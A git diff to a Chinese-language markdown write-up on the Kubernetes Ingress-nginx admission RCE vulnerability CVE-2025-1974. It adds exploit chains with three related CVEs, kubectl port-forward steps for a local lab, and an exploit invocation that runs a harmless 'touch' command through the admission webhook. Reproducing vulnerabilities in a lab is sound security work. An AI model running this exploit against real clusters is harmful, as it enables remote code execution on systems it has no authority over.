update

云安全漏洞/Kubernetes Ingress-nginx admission 远程代码执行漏洞 CVE-2025-1974.md

@@ -103,12 +103,29 @@ kubectl logs ingress-nginx-controller-869748796c-p4jvj -n ingress-nginx
 
 ![](images/Kubernetes%20Ingress-nginx%20admission%20远程代码执行漏洞%20CVE-2025-1974/image-20250413173205563.png)
 
-组合利用：
+CVE-2025-1974 可以与其他漏洞组合利用：
 
 - CVE-2025-1974 + CVE-2025-24514 → auth-url injection → RCE
 - CVE-2025-1974 + CVE-2025-1097 → auth-tls-match-cn injection → RCE
 - CVE-2025-1974 + CVE-2025-1098→ mirror UID injection → RCE
 
+本地测试，将端口转发到 `localhost`：
+
+```
+kubectl port-forward svc/ingress-nginx-controller -n ingress-nginx 8080:80
+kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 8443:443
+```
+
+执行命令 `touch /tmp/awesome_poc`：
+
+```
+./exp -m c -c 'touch /tmp/awesome_poc' -i https://localhost:8443/networking/v1/ingresses -u http://localhost:8080/fake/addr
+```
+
+![](images/Kubernetes%20Ingress-nginx%20admission%20远程代码执行漏洞%20CVE-2025-1974/image-20250414173754627.png)
+
+![](images/Kubernetes%20Ingress-nginx%20admission%20远程代码执行漏洞%20CVE-2025-1974/image-20250414173824804.png)
+
 ## 漏洞 POC
 
 poc.json